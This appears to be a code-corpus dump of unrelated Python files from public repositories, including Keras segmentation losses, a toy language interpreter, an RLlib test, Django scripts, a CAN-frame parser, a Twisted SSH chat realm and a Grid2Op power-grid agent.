<filename>losses.py import os import cv2 import keras import numpy as np import albumentations as A import tensorflow as tf from keras import backend as K def jaccard_distance(y_true, y_pred, smooth=100): intersection = K.sum(K.abs(y_true * y_pred), axis=-1) sum_ = K.sum(K.abs(y_true) + K.abs(y_pred), axis=-1) jac = (intersection + smooth) / (sum_ - intersection + smooth) return (1 - jac) * smooth def iou(y_true, y_pred, label: int): """ Return the Intersection over Union (IoU) for a given label. Args: y_true: the expected y values as a one-hot y_pred: the predicted y values as a one-hot or softmax output label: the label to return the IoU for Returns: the IoU for the given label """ # extract the label values using the argmax operator then # calculate equality of the predictions and truths to the label y_true = K.cast(K.equal(K.argmax(y_true), label), K.floatx()) y_pred = K.cast(K.equal(K.argmax(y_pred), label), K.floatx()) # calculate the |intersection| (AND) of the labels intersection = K.sum(y_true * y_pred) # calculate the |union| (OR) of the labels union = K.sum(y_true) + K.sum(y_pred) - intersection # avoid divide by zero - if the union is zero, return 1 # otherwise, return the intersection over union return K.switch(K.equal(union, 0), 1.0, intersection / union) def mean_iou(y_true, y_pred): """ Return the Intersection over Union (IoU) score. Args: y_true: the expected y values as a one-hot y_pred: the predicted y values as a one-hot or softmax output Returns: the scalar IoU value (mean over all labels) """ # get number of labels to calculate IoU for num_labels = K.int_shape(y_pred)[-1] # initialize a variable to store total IoU in total_iou = K.variable(0) # iterate over labels to calculate IoU for for label in range(num_labels): total_iou = total_iou + iou(y_true, y_pred, label) # divide total IoU by number of labels to get mean IoU return total_iou / num_labels def IoU(y_pred, y_true): I = tf.reduce_sum(y_pred * y_true, axis=(1, 2)) U = tf.reduce_sum(y_pred + y_true, axis=(1, 2)) - I return tf.reduce_mean(I / U) # def iou_metric(y_true, y_pred): SMOOTH = 1e-01 def iou_coef(y_true, y_pred, smooth=SMOOTH): """ IoU = (|X &amp; Y|)/ (|X or Y|) """ intersection = K.sum(K.abs(y_true * y_pred), axis=-1) union = K.sum((y_true,-1) + K.sum(y_pred,-1)) - intersection return (intersection + smooth) / (union + smooth) # return iou_coef def dice_coef(y_true, y_pred, smooth=1e-01): intersection = K.sum(K.abs(y_true * y_pred), axis=-1) return (2. * intersection + smooth) / (K.sum(K.square(y_true),-1) + K.sum(K.square(y_pred),-1) + smooth) def dice_coef_loss(y_true, y_pred): return 1 - dice_coef(y_true, y_pred)
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enthought/numerical_modeling/numeric_context/mask_filter.py
enthought/etsproxy
3
1602405
# proxy module from __future__ import absolute_import from blockcanvas.numerical_modeling.numeric_context.mask_filter import *
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interpreter.py
vultureofficial/Vulture
1
192776
<reponame>vultureofficial/Vulture """ Interpreter ----------- AST-walking interpreter. """ from __future__ import print_function import operator import aast as ast from collections import namedtuple from lexer import Lexer, TokenStream from pparser import Parser from errors import AbrvalgSyntaxError, report_syntax_error from utils import print_ast, print_tokens, print_env import codegen from llvmlite import ir, binding BuiltinFunction = namedtuple('BuiltinFunction', ['name', 'params', 'body']) module = ir.Module(name='testing.vlt') builder = None #target = binding.Target.from_default_triple() #target_machine = target.create_target_machine() #print(target, target_machine) class Break(Exception): pass class Continue(Exception): pass class Return(Exception): def __init__(self, value): self.value = value class Environment(object): def __init__(self, parent=None, args=None): self._parent = parent self._values = {} if args is not None: self._from_dict(args) def _from_dict(self, args): for key, value in args.items(): self.set(key, value) def set(self, key, val): self._values[key] = val def get(self, key): val = self._values.get(key, None) if val is None and self._parent is not None: return self._parent.get(key) else: return val def asdict(self): return self._values def __repr__(self): return 'Environment({})'.format(str(self._values)) def eval_binary_operator(node, env): simple_operations = { '+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv, '%': operator.mod, '>': operator.gt, '>=': operator.ge, '<': operator.lt, '<=': operator.le, '==': operator.eq, '!=': operator.ne, '..': range, '...': lambda start, end: range(start, end + 1), } lazy_operations = { '&&': lambda lnode, lenv: bool(eval_expression(lnode.left, lenv)) and bool(eval_expression(lnode.right, lenv)), '||': lambda lnode, lenv: bool(eval_expression(lnode.left, lenv)) or bool(eval_expression(lnode.right, lenv)), } if node.operator in simple_operations: return simple_operations[node.operator](eval_expression(node.left, env), eval_expression(node.right, env)) elif node.operator in lazy_operations: return lazy_operations[node.operator](node, env) else: raise Exception('Invalid operator {}'.format(node.operator)) def eval_unary_operator(node, env): operations = { '-': operator.neg, '!': operator.not_, } return operations[node.operator](eval_expression(node.right, env)) def eval_assignment(node, env): if isinstance(node.left, ast.SubscriptOperator): return eval_setitem(node, env) else: return env.set(node.left.value, eval_expression(node.right, env)) def eval_condition(node, env): if eval_expression(node.test, env): return eval_statements(node.if_body, env) for cond in node.elifs: if eval_expression(cond.test, env): return eval_statements(cond.body, env) if node.else_body is not None: return eval_statements(node.else_body, env) def eval_match(node, env): test = eval_expression(node.test, env) for pattern in node.patterns: if eval_expression(pattern.pattern, env) == test: return eval_statements(pattern.body, env) if node.else_body is not None: return eval_statements(node.else_body, env) def eval_while_loop(node, env): while eval_expression(node.test, env): try: eval_statements(node.body, env) except Break: break except Continue: pass def eval_for_loop(node, env): var_name = node.var_name collection = eval_expression(node.collection, env) for val in collection: env.set(var_name, val) try: eval_statements(node.body, env) except Break: break except Continue: pass typeInfo = None def eval_function_declaration(node, env): typeInfo = [] _hash = '' if isinstance(node.params, type(None)) == False: for x in node.params: _hash = _hash + x['type'] if x['type'] == 'ptr': default = x['default'].arguments[0].value typeInfo.append(codegen.ptr(env.get(default))) else: typeInfo.append(env.get(x['type'])) if len(typeInfo) >= 0: typeInfo = tuple(typeInfo) #print(typeInfo) fnty = ir.FunctionType(codegen.void(), typeInfo) #print(fnty) name = '__%s_%s_%s__' % (node.name, 'fx', _hash) func = ir.Function(module, fnty, name) block = func.append_basic_block(name="%s_entry" % (name)) builder = ir.IRBuilder(block) eval_statements(node.body, env) print(module) return env.set(node.name, node) def eval_call(node, env): function = eval_expression(node.left, env) isBuiltin = False n_expected_args = None try: n_expected_args = len(function.params) except AttributeError: isBuiltin = True n_actual_args = None if isBuiltin == False: n_actual_args = len(node.arguments) if n_expected_args != n_actual_args and isinstance(function, BuiltinFunction) == False : raise TypeError('Expected {} arguments, got {}'.format(n_expected_args, n_actual_args)) else: #print("Herer", function) if isinstance(function, BuiltinFunction): args = dict(zip(function.params, [eval_expression(node, env) for node in node.arguments])) #print(args) function.body(args, env); elif isinstance(function, ir.Type): get = None ags = [eval_expression(node, env) for node in node.arguments] hasArray = False if len(ags) > 0: if isinstance(ags[0], type([])) == True: hasArray = True #print(function) cnd = str(function) if cnd == 'i8': get = 'int8' elif cnd == 'i16': get = 'int16' elif cnd == 'i32': get = 'int32' elif cnd == 'i64': get = 'int64' elif cnd == 'half': get = 'float16' elif cnd == 'float': get = 'float32' elif cnd == 'double': get = 'double' if hasArray: #print("True", 'ARRAY') if len(ags[0]) == 0: raise IndexError('Invalid number of elements in array') else: if cnd in ['half', 'float' ,'double' ]: return "%s [%s x %s]" % (cnd, ags[0][0], cnd) else: return env.get(get)(codegen.array(get, int(ags[0][0]))) return env.get(get)(codegen.array(get, int(ags[0][0]))) else: if len(ags) > 0: return env.get(get)(ags[0]) else: return env.get(get)(0) args = dict(zip(function.params, [eval_expression(node, env) for node in node.arguments])) if isinstance(function, BuiltinFunction): return function.body(args, env) else: call_env = Environment(env, args) try: return eval_statements(function.body, call_env) except Return as ret: return ret.value def eval_identifier(node, env): name = node.value val = env.get(name) if val is None: raise NameError('Name "{}" is not defined'.format(name)) return val def eval_getitem(node, env): collection = eval_expression(node.left, env) key = eval_expression(node.key, env) return collection[key] def eval_setitem(node, env): collection = eval_expression(node.left.left, env) key = eval_expression(node.left.key, env) collection[key] = eval_expression(node.right, env) def eval_array(node, env): return [eval_expression(item, env) for item in node.items] def eval_dict(node, env): return {eval_expression(key, env): eval_expression(value, env) for key, value in node.items} def eval_return(node, env): return eval_expression(node.value, env) if node.value is not None else None evaluators = { ast.Number: lambda node, env: node.value, ast.String: lambda node, env: node.value, ast.Array: eval_array, ast.Dictionary: eval_dict, ast.Identifier: eval_identifier, ast.BinaryOperator: eval_binary_operator, ast.UnaryOperator: eval_unary_operator, ast.SubscriptOperator: eval_getitem, ast.Assignment: eval_assignment, ast.Condition: eval_condition, ast.Match: eval_match, ast.WhileLoop: eval_while_loop, ast.ForLoop: eval_for_loop, ast.Function: eval_function_declaration, ast.Call: eval_call, ast.Return: eval_return, } def eval_node(node, env): tp = type(node) if tp in evaluators: return evaluators[tp](node, env) else: raise Exception('Unknown node {} {}'.format(tp.__name__, node)) def eval_expression(node, env): return eval_node(node, env) def eval_statement(node, env): return eval_node(node, env) def eval_statements(statements, env): ret = None for statement in statements: if isinstance(statement, ast.Break): raise Break(ret) elif isinstance(statement, ast.Continue): raise Continue(ret) ret = eval_statement(statement, env) if isinstance(statement, ast.Return): raise Return(ret) return ret def sketch(f, args, fx): pass def add_builtins(env): builtins = { 'ptr': ('ptr', ['value'], lambda args, e: codegen.ptr(args['value'])), } for key, (name, params, func) in builtins.items(): env.set(key, BuiltinFunction(name, params, func)) env.set('int8', ir.IntType(8)) env.set('int16', ir.IntType(16)) env.set('int32', ir.IntType(32)) env.set('int64', ir.IntType(64)) env.set('float16', ir.HalfType()) env.set('float32', ir.FloatType()) env.set('float64', ir.DoubleType()) def create_global_env(): env = Environment() add_builtins(env) return env def evaluate_env(s, env, verbose=False): lexer = Lexer() try: tokens = lexer.tokenize(s) except AbrvalgSyntaxError as err: report_syntax_error(lexer, err) if verbose: raise else: return if verbose: print('Tokens') print_tokens(tokens) print() token_stream = TokenStream(tokens) try: program = Parser().parse(token_stream) except AbrvalgSyntaxError as err: report_syntax_error(lexer, err) if verbose: raise else: return if verbose: print('AST') print_ast(program.body) print() ret = eval_statements(program.body, env) if verbose: print('Environment') print_env(env) print() return ret def evaluate(s, verbose=False): return evaluate_env(s, create_global_env(), verbose)
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rllib/algorithms/pg/tests/test_pg.py
willfrey/ray
1
67331
from gym.spaces import Box, Dict, Discrete, Tuple import numpy as np import unittest import ray import ray.rllib.algorithms.pg as pg from ray.rllib.evaluation.postprocessing import Postprocessing from ray.rllib.examples.env.random_env import RandomEnv from ray.rllib.models.tf.tf_action_dist import Categorical from ray.rllib.models.torch.torch_action_dist import TorchCategorical from ray.rllib.policy.sample_batch import SampleBatch from ray.rllib.utils.numpy import fc from ray.rllib.utils.test_utils import ( check, check_compute_single_action, check_train_results, framework_iterator, ) from ray import tune class TestPG(unittest.TestCase): @classmethod def setUpClass(cls) -> None: ray.init() @classmethod def tearDownClass(cls) -> None: ray.shutdown() def test_pg_compilation(self): """Test whether a PGTrainer can be built with all frameworks.""" config = pg.PGConfig() # Test with filter to see whether they work w/o preprocessing. config.rollouts( num_rollout_workers=1, rollout_fragment_length=500, observation_filter="MeanStdFilter", ) num_iterations = 1 image_space = Box(-1.0, 1.0, shape=(84, 84, 3)) simple_space = Box(-1.0, 1.0, shape=(3,)) tune.register_env( "random_dict_env", lambda _: RandomEnv( { "observation_space": Dict( { "a": simple_space, "b": Discrete(2), "c": image_space, } ), "action_space": Box(-1.0, 1.0, shape=(1,)), } ), ) tune.register_env( "random_tuple_env", lambda _: RandomEnv( { "observation_space": Tuple( [simple_space, Discrete(2), image_space] ), "action_space": Box(-1.0, 1.0, shape=(1,)), } ), ) for _ in framework_iterator(config, with_eager_tracing=True): # Test for different env types (discrete w/ and w/o image, + cont). for env in [ "random_dict_env", "random_tuple_env", "MsPacmanNoFrameskip-v4", "CartPole-v0", "FrozenLake-v1", ]: print(f"env={env}") trainer = config.build(env=env) for i in range(num_iterations): results = trainer.train() check_train_results(results) print(results) check_compute_single_action(trainer, include_prev_action_reward=True) def test_pg_loss_functions(self): """Tests the PG loss function math.""" config = ( pg.PGConfig() .rollouts(num_rollout_workers=0) .training( gamma=0.99, model={ "fcnet_hiddens": [10], "fcnet_activation": "linear", }, ) ) # Fake CartPole episode of n time steps. train_batch = SampleBatch( { SampleBatch.OBS: np.array( [[0.1, 0.2, 0.3, 0.4], [0.5, 0.6, 0.7, 0.8], [0.9, 1.0, 1.1, 1.2]] ), SampleBatch.ACTIONS: np.array([0, 1, 1]), SampleBatch.REWARDS: np.array([1.0, 1.0, 1.0]), SampleBatch.DONES: np.array([False, False, True]), SampleBatch.EPS_ID: np.array([1234, 1234, 1234]), SampleBatch.AGENT_INDEX: np.array([0, 0, 0]), } ) for fw, sess in framework_iterator(config, session=True): dist_cls = Categorical if fw != "torch" else TorchCategorical trainer = config.build(env="CartPole-v0") policy = trainer.get_policy() vars = policy.model.trainable_variables() if sess: vars = policy.get_session().run(vars) # Post-process (calculate simple (non-GAE) advantages) and attach # to train_batch dict. # A = [0.99^2 * 1.0 + 0.99 * 1.0 + 1.0, 0.99 * 1.0 + 1.0, 1.0] = # [2.9701, 1.99, 1.0] train_batch_ = pg.post_process_advantages(policy, train_batch.copy()) if fw == "torch": train_batch_ = policy._lazy_tensor_dict(train_batch_) # Check Advantage values. check(train_batch_[Postprocessing.ADVANTAGES], [2.9701, 1.99, 1.0]) # Actual loss results. if sess: results = policy.get_session().run( policy._loss, feed_dict=policy._get_loss_inputs_dict(train_batch_, shuffle=False), ) else: results = (pg.pg_tf_loss if fw in ["tf2", "tfe"] else pg.pg_torch_loss)( policy, policy.model, dist_class=dist_cls, train_batch=train_batch_ ) # Calculate expected results. if fw != "torch": expected_logits = fc( fc(train_batch_[SampleBatch.OBS], vars[0], vars[1], framework=fw), vars[2], vars[3], framework=fw, ) else: expected_logits = fc( fc(train_batch_[SampleBatch.OBS], vars[2], vars[3], framework=fw), vars[0], vars[1], framework=fw, ) expected_logp = dist_cls(expected_logits, policy.model).logp( train_batch_[SampleBatch.ACTIONS] ) adv = train_batch_[Postprocessing.ADVANTAGES] if sess: expected_logp = sess.run(expected_logp) elif fw == "torch": expected_logp = expected_logp.detach().cpu().numpy() adv = adv.detach().cpu().numpy() else: expected_logp = expected_logp.numpy() expected_loss = -np.mean(expected_logp * adv) check(results, expected_loss, decimals=4) if __name__ == "__main__": import pytest import sys sys.exit(pytest.main(["-v", __file__]))
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scripts/db_change_order.py
lizschley/number_six
1
128281
<gh_stars>1-10 ''' ref: https://django-extensions.readthedocs.io/en/latest/runscript.html Run scripts/db_updater_s1.py with json: {"group_ids": [35]} or {"category_ids": [1]} (examples) Follow instructions in run method. Note - This script will only change the paragraphs (or group) order, but if you find yourself updating the update the paragraph text First - delete the group_id or the category_id in the input file: (<INPUT_TO_UPDATER_STEP_THREE> (in scripts/constants)) Then - run the the same input with the db_updater_s3 script :returns: nothing ''' import sys from decouple import config import constants.scripts as constants import helpers.import_common_class.paragraph_helpers as import_helper import helpers.no_import_common_class.paragraph_helpers as para_helper from common_classes.para_db_update_order import ParaDbUpdateOrder def run(*args): ''' This runs Step Three, which is designed to run in development only Prerequisites: Step 1. Make sure you have input created and edited correctly in Steps 1 and 2 Run scripts/db_updater_s1.py with json, example below: {"group_ids": [35]} OR {"category_ids": [1]} Output will be in <INPUT_TO_UPDATER_STEP_THREE> (in scripts/constants) Step 2. Add key "group_id": 35 (group_id from Step One Json file) Also keep paragraph list intact: Need all the records, plus the id, guid and text keep the groupparagraph list intact as well Reorder the paragraph records to be the desired order ----> OR <----- Add key "category_id": 1 (category_id from Step One Json file) Also keep the group list intact Reorder the group records to be the desired order 3. Run this script, possible parameters >>> python manage.py runscript -v3 db_change_order --script-args or >>> python manage.py runscript -v3 db_change_order --script-args updating Notes on Arguments * No arguments - will not do any db updates. * updating (only) - will process the input data, doing updates. ''' process_data = init_process_data(args) if process_data.get('error'): sys.exit(process_data['error']) process_data = establish_input_directory(process_data) if process_data.get('error'): sys.exit(process_data['error']) num_files = call_process(process_data) print(f'update the order for groups or paragraphs: number of files: {num_files}') def init_process_data(args): ''' Gather information for Step Three, in order to update the database ''' updating = False if constants.FOR_PROD in args: return f'{constants.FOR_PROD} is invalid for this process' if constants.UPDATING in args: updating = True message = test_for_errors(args, updating) if message != 'ok': return {'error': message} return switches_from_args(updating) def test_for_errors(args, updating): 'Ensures the correct number and combinations of parameters.' message = f'Error! To many args or wrong args, args == {args}' if len(args) > 1: return message if len(args) == 1 and not updating: return message if config('ENVIRONMENT') != 'development': return 'This process is a development only process' return 'ok' def switches_from_args(updating): ''' Return from init process data ''' return { 'updating': updating, } def establish_input_directory(process_data): ''' The process and files depend on the process data ''' process_data['input_directory'] = constants.INPUT_TO_UPDATER_STEP_THREE process_data['class'] = ParaDbUpdateOrder return process_data def call_process(process_data): ''' passes function with correct calls to common looping through json files function ''' num = para_helper.loop_through_files_for_db_updates(import_helper.update_paragraphs_update_order, process_data) return num
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Examples/pcan_parser.py
Legohead259/PCAN-RS232-Interface
0
84884
def parse_frame_message(msg:str): """ Parses a CAN message sent from the PCAN module over the serial bus Example: 't1234DEADBEEF' - standard (11-bit) identifier message frame 'R123456784' - extended (29-bit) identifier request frame Returns a tuple with type, ID, size, and message Example: ('t', '00000123', '4', 'DEADBEEF') ('R', '00000123', '4') """ _type = msg[0:1] # type is the first character of the message _ext = _type == 'T' or _type == 'R' # Determine if the message is an extended (29-bit) identifier frame _rtr = _type.lower() == 'r' # Determine if the message is a request frame _id = msg[1:4] if not _ext else msg[1:9] # Grab the ID depending on length of it (type-dependent) _id = _id.zfill(8) _size = msg[4:5] if not _ext else msg[9:10] # Grab the data size if not _rtr: _data = msg[5:5+int(_size)*2+1] if not _ext else msg[10:10+int(_size)*2+1] # Get the message data bytes depending on the size indicated by _size else: _data = "" return(_type, _id, _size, _data) print(parse_frame_message('t1234DEADBEEF')) print(parse_frame_message('T000001234DEADBEEF')) print(parse_frame_message('r1234')) print(parse_frame_message('R000001234'))
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python/programas simples/saudacao.py
Don616/pratica
0
60462
""" Faça um programa que pergunte a hora para o usuário e, se baseando no horário descrito, exiba a saudação apropriada. """ hora = input("Que horas são aí? ") if hora.isnumeric(): hora = int(hora) else: print("Por favor, digite somente números.") if hora < 0 or hora > 23: print("Horário inválido") elif hora <= 5: print(f"Ainda é de madrugada, são {hora} horas, então podemos considerar boa noite!") elif hora >= 6 and hora <= 11: print(f"Bom dia! Agora são {hora} horas.") elif hora >= 12 and hora <= 17: print(f"Boa tarde! Agora são {hora} horas da tarde.") else: print(f"Boa noite! Agora são {hora} horas da noite.")
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XMM/PlotRGSFluxed.py
ZGainsforth/InterstellarXAS
0
128163
<gh_stars>0 from astropy. io import fits import matplotlib.pyplot as plt from astroquery.simbad import Simbad # from astroquery.esa.xmm_newton import XMMNewton targetname = '<NAME>' Simbad.add_votable_fields('distance') target = Simbad.query_object(targetname) # XMMNewton.download_data('0084020401', level='PPS', extension='FTZ', name='FLUXED', filename='result0084020401.tar.gz') print(f'Distance to {targetname} = {target["Distance_distance"][0]} {target["Distance_unit"][0]}') x = fits.open('P0084020401RGX000FLUXED1025.ftz') print(x.info()) plt.plot(x[1].data.field('CHANNEL'), x[1].data.field('FLUX')) plt.xlabel(x[1].header['TUNIT1']) plt.ylabel(x[1].header['TUNIT2']) plt.show()
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appdaemon/settings/apps/test.py
monster1025/home-assistant
0
191185
# -*- coding: utf-8 -*- import appdaemon.plugins.hass.hassapi as hass from notification import send_notification import datetime import sys, locale import logging, codecs import os #import unicode # from automation import Automation # type: ignore """ Monitor events and output changes to the verbose_log. Nice for debugging purposes. Arguments: - events: List of events to monitor """ class Test(hass.Hass): def initialize(self) -> None: self.log(u"Привет") self.log(str(u'ô')) # id = send_notification( # self, targets="telegram_monster", message="Repeated message", title="title", when=datetime.datetime.now(), interval=10, iterations=2 # ) # self.log("id:{}".format(id)) # id = send_notification( # self, targets="telegram_monster", message="Dummy", title="title" # ) def terminate(self): self.log('terminate') # for listen_event_handle in self.listen_event_handle_list: # self.cancel_listen_event(listen_event_handle)
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realm.py
syndbg/ssh-chat
6
184398
<reponame>syndbg/ssh-chat from twisted.conch.avatar import ConchUser from twisted.conch.insults import insults from twisted.conch.interfaces import IConchUser, ISession from twisted.conch.ssh import session from twisted.cred.portal import IRealm from twisted.python import log from zope.interface import implementer from protocol import ChatProtocol, ChatProtocolFactory factory = ChatProtocolFactory() @implementer(ISession) class ChatAvatar(ConchUser): def __init__(self, username): ConchUser.__init__(self) self.username = username self.channelLookup.update({'session': session.SSHSession}) def openShell(self, protocol): server_protocol = insults.ServerProtocol(ChatProtocol, self, None) server_protocol.makeConnection(protocol) protocol.makeConnection(session.wrapProtocol(server_protocol)) server_protocol = factory def getPty(self, terminal, window_size, attrs): return None def execCommand(self, protocol, cmd): raise NotImplementedError def closed(self): log.msg('{0} session got closed'.format(self.username)) @implementer(IRealm) class ChatRealm: def requestAvatar(self, avatarId, mind, *interfaces): if IConchUser not in interfaces: raise NotImplementedError('No supported interfaces found.') return interfaces[0], ChatAvatar(avatarId), lambda: None
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accounts/api/serializers.py
loafbaker/django_blog
0
168254
<reponame>loafbaker/django_blog from django.contrib.auth import get_user_model from rest_framework import serializers User = get_user_model() class UserCreateSerializer(serializers.ModelSerializer): email = serializers.EmailField(allow_blank=False) email2 = serializers.EmailField(label='Confirm Email', write_only=True) class Meta: model = User fields = [ 'username', 'email', 'email2', 'password', ] extra_kwargs = { 'password': { 'write_only': True, 'style': {'input_type': 'password'}, }, } def validate_email(self, value): user_qs = User.objects.filter(email=value) if user_qs.exists(): raise serializers.ValidationError('This email has already been registered.') return value def validate_email2(self, value): data = self.get_initial() email = data.get('email') if email != value: raise serializers.ValidationError('Email must match.') return value def create(self, validated_data): username = validated_data['username'] email = validated_data['email'] password = validated_data['password'] user = User.objects.create_user(username, email, password) return validated_data class UserDetailSerializer(serializers.ModelSerializer): class Meta: model = User fields = [ 'username', 'first_name', 'last_name', 'date_joined', 'last_login', ]
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examples/NeurIPS2020-Learning-to-Run-a-Power-Network-Challenge/track2/agent.py
lp2333/PARL
3,172
155832
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from powernet_model import PowerNetModel from es import ES from es_agent import ESAgent from tqdm import tqdm import copy import numpy as np from copy import deepcopy from utils import process import parl import paddle.fluid as fluid from parl import layers class Track2PowerNetAgent(object): def __init__(self, action_space): """Initialize a new agent.""" self.action_space = action_space self.actions = [] actions_vec = np.load("./saved_files/top1000_actions.npz")["actions"] for i in range(actions_vec.shape[0]): act = action_space.from_vect(actions_vec[i]) self.actions.append(act) self.actions = self.actions[:1000] self.act_num = len(self.actions) self.sub_ids = np.load('./saved_files/sub_id_info.npz')['sub_ids'] self.do_nothing_action = action_space({}) self.origin_ids = range(len(self.actions)) offset = action_space.n_line self.action_to_sub_topo = {} for sub_id, sub_elem_num in enumerate(action_space.sub_info): self.action_to_sub_topo[sub_id] = (offset, offset + sub_elem_num) offset += sub_elem_num self.step = 0 model = PowerNetModel() algorithm = ES(model) self.es_agent = ESAgent(algorithm) self.es_agent.restore(save_path='./saved_files', filename='model.ckpt') self.to_print_data = [] self.last_disconnect_step = -100 self.last_diconnect_line = None self.simulation_times = 0 def simulate_do_nothing(self, observation): init_to_maintain_lines = np.where((observation.time_next_maintenance>0) \ & (observation.time_next_maintenance<9))[0] to_check_action = self.do_nothing_action to_maintain_lines = [] for line_id in init_to_maintain_lines: if observation.line_status[line_id]: to_maintain_lines.append(line_id) # we do not disconnect the only line in advance if len(to_maintain_lines) == 1: rest_step = observation.time_next_maintenance[to_maintain_lines[0]] if rest_step > 1: to_maintain_lines = [] else: # we only maintain the first line in `to_maintain_lines` to_maintain_lines = to_maintain_lines[:1] if len(to_maintain_lines ) != 0 and self.step - self.last_disconnect_step > 3: line_status = [] for line_id in to_maintain_lines: line_status.append((line_id, -1)) to_check_action = self.action_space({ 'set_line_status': line_status }) obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate( to_check_action) observation._obs_env._reset_to_orig_state() else: obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate( to_check_action) observation._obs_env._reset_to_orig_state() return obs_simulate, done_simulate, to_check_action, to_maintain_lines def find_unaccessible_pos(self, to_check_action): if to_check_action == self.do_nothing_action: return [] lines = to_check_action.as_dict()['set_line_status']['disconnected_id'] arr = [] for line_id in lines: arr.append((line_id, 1)) act = self.action_space({ "set_bus": { "lines_ex_id": arr, "lines_or_id": arr } }) pos = np.where(act._set_topo_vect != 0)[0] return pos def avoid_overflow(self, observation, reset_action=None): if reset_action is None: obs_simulate, done_simulate, to_check_action, to_maintain_lines = self.simulate_do_nothing( observation) else: to_check_action = reset_action to_maintain_lines = [] obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate( to_check_action) observation._obs_env._reset_to_orig_state() has_overflow = False if observation is not None and not any(np.isnan(observation.rho)): has_overflow = any(observation.rho > 1.0) or any( obs_simulate.rho > 1.0) if not (done_simulate or has_overflow) and ( to_check_action == self.do_nothing_action): return self.do_nothing_action, -1 if to_check_action != self.do_nothing_action and obs_simulate.rho.max( ) < 1.0 and not done_simulate: return to_check_action, -1 # action selection and rerank extracted_obs = process(observation).astype(np.float32) top_idx, pred_rho = self.es_agent.predict_unitary_actions_rho( extracted_obs) action_selected = [False] * len(self.actions) for i in range(80): idx = top_idx[i] action_selected[idx] = True # select_action_by_dis overflow_lines = np.where(observation.rho > 1.0)[0].tolist() if len(overflow_lines) == 0: overflow_lines = np.where(obs_simulate.rho > 1.0)[0].tolist() best_idx = -1 least_overflow_action = self.do_nothing_action least_overflow = 10.0 least_obs_simulate = obs_simulate if obs_simulate is not None and not any(np.isnan(obs_simulate.rho)): least_overflow = float(np.max(obs_simulate.rho)) if reset_action is None: illegal_pos = self.find_unaccessible_pos(to_check_action) else: illegal_pos = [] self.simulation_times += 1 found = False for idx in range(self.act_num): if not action_selected[idx]: continue to_simulate_action = self.actions[idx] # check conflict if to_check_action != self.do_nothing_action: illegal_pos_value = to_simulate_action._set_topo_vect[ illegal_pos] if np.any(illegal_pos_value): continue action1_vec = to_simulate_action.to_vect() action2_vec = to_check_action.to_vect() to_simulate_action = self.action_space.from_vect(action1_vec + action2_vec) legal_action = self.correct_action(observation, to_simulate_action, self.sub_ids[idx]) if legal_action == self.do_nothing_action: continue obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate( legal_action) observation._obs_env._reset_to_orig_state() max_rho = obs_simulate.rho.max() assert not info_simulate['is_illegal'] and not info_simulate[ 'is_ambiguous'] if obs_simulate is not None and not any( np.isnan(obs_simulate.rho)): if not done_simulate: overflow_value = float(np.max(obs_simulate.rho)) if (not found) and (overflow_value < least_overflow): least_overflow = overflow_value least_overflow_action = legal_action least_obs_simulate = obs_simulate best_idx = idx if least_overflow < 0.95: if not found: pass found = True break continue if best_idx != -1: least_overflow_action = self.correct_action( observation, least_overflow_action, self.sub_ids[best_idx]) if to_check_action != self.do_nothing_action and least_overflow_action != self.do_nothing_action and reset_action is None: self.last_disconnect_step = self.step - 1 self.last_diconnect_line = to_maintain_lines[0] if reset_action is not None: pass return least_overflow_action, self.sub_ids[best_idx] else: return self.do_nothing_action, -1 def correct_action(self, observation, to_simulate_action, sub_id): if sub_id != -1: if observation.time_before_cooldown_sub[sub_id] != 0: legal_action_vec = deepcopy(self.do_nothing_action.to_vect()) return self.do_nothing_action else: legal_action_vec = deepcopy(to_simulate_action.to_vect()) sub_topo = self.sub_topo_dict[sub_id] if np.any(sub_topo == -1): # line disconnected start, end = self.action_to_sub_topo[sub_id] action_topo = legal_action_vec[start:end].astype( "int") # reference action_topo[np.where( sub_topo == -1)[0]] = 0 # done't change bus=-1 legal_action_vec[start:end] = action_topo legal_action = self.action_space.from_vect(legal_action_vec) elif sub_id == -1: legal_action = to_simulate_action else: # TODO remove legal_action = self.do_nothing_action return legal_action def act(self, observation, reward, done): self.step += 1 offset = 0 self.sub_topo_dict = {} for sub_id, sub_elem_num in enumerate(observation.sub_info): sub_topo = observation.topo_vect[offset:offset + sub_elem_num] offset += sub_elem_num self.sub_topo_dict[sub_id] = sub_topo disconnected = np.where(observation.line_status == False)[0].tolist() to_maintain_lines = np.where((observation.time_next_maintenance>0) \ & (observation.time_next_maintenance<15))[0] to_maintain_lines = to_maintain_lines.tolist() if len(disconnected) > 0: for line_id in disconnected: if observation.time_before_cooldown_line[line_id] == 0 and \ line_id not in to_maintain_lines: reset_action = self.action_space({ "set_line_status": [(line_id, +1)] }) obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate( reset_action) observation._obs_env._reset_to_orig_state() if np.max(observation.rho) < 1.0 and np.max( obs_simulate.rho) >= 1.0: continue combined_action, sub_id = self.avoid_overflow( observation, reset_action) return combined_action if observation is not None and not any(np.isnan(observation.rho)): if np.max(observation.rho) < 0.94 and np.any( observation.topo_vect == 2): offset = 0 for sub_id, sub_elem_num in enumerate(observation.sub_info): sub_topo = self.sub_topo_dict[sub_id] if np.any( sub_topo == 2 ) and observation.time_before_cooldown_sub[sub_id] == 0: sub_topo = np.where(sub_topo == 2, 1, sub_topo) # bus 2 to bus 1 sub_topo = np.where( sub_topo == -1, 0, sub_topo) # don't do action in bus=-1 reconfig_sub = self.action_space({ "set_bus": { "substations_id": [(sub_id, sub_topo)] } }) obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate( reconfig_sub) observation._obs_env._reset_to_orig_state() assert not info_simulate[ 'is_illegal'] and not info_simulate['is_ambiguous'] if not done_simulate and obs_simulate is not None and not any( np.isnan(obs_simulate.rho)): if np.max(obs_simulate.rho) < 0.95: return reconfig_sub else: pass action, sub_id = self.avoid_overflow(observation) return action
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sweeper/task.py
dominoFire/sweeper
0
85664
